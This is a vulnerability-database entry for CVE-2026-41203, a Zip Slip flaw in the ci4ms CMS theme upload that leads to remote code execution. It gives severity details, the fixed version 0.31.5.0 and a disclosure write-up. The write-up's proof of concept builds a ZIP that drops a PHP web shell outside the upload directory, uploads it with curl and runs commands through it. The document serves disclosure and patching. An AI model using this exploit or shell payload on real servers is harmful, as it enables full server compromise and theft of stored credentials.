Skip to main content
VulnerabilityPublished Updated

CVE-2026-41203: ci4-cms-erp/ci4ms · CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE

Affects ci4-cms-erp/ci4msSource GCVE Database

0
Authoritative record:CVE-2026-41203· Critical 9.4

Not known to be exploited · CVSS 9.4 Critical : upgrade to 0.31.5.0 as a priority.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 4.0 base score
9.4Critical
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 0.31.5.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 7 May 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade ci4-cms-erp/ci4ms to 0.31.5.0.

Affected software

ProductAffectedFixed in
Packagistci4-cms-erp/ci4msAffected
  • <0.31.5.0
Fixed in
  • 0.31.5.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. ### Details modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination: ```php public function upload() { $valData = ([ 'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'], ]); if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors()); $file = $this->request->getFile('theme'); $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/'; $zip = new \ZipArchive(); if ($zip->open($file->getTempName()) === true) { $zip->extractTo($tempPath); // no entry-name validation $zip->close(); } ... $log = install_theme_from_tmp($themeName); ... } ``` A ZIP containing entries like `../../public/shell.php` is extracted outside `writable/tmp/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here. Routing: modules/Theme/Config/Routes.php binds `POST backend/themes/themesUpload` to Theme::upload with `role=create`. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has `create` on the Theme module, and any admin with that role can trigger it directly. A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4. ### PoC Build the archive: ```python python3 -c " import zipfile with zipfile.ZipFile('evil_theme.zip','w') as z: z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>') z.writestr('info.xml', '<theme name=\"x\"/>') " ``` Upload through the Theme manager with an authenticated session that has theme create: ```bash curl -i -b 'ci4ms_session=<SESSION_ID>' \ -F 'theme=@evil_theme.zip' \ https://target.example.com/backend/themes/themesUpload ``` Trigger the shell: ```bash curl 'https://target.example.com/shell.php?c=id' # uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Impact Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

References

Community reviews

Loading reviews…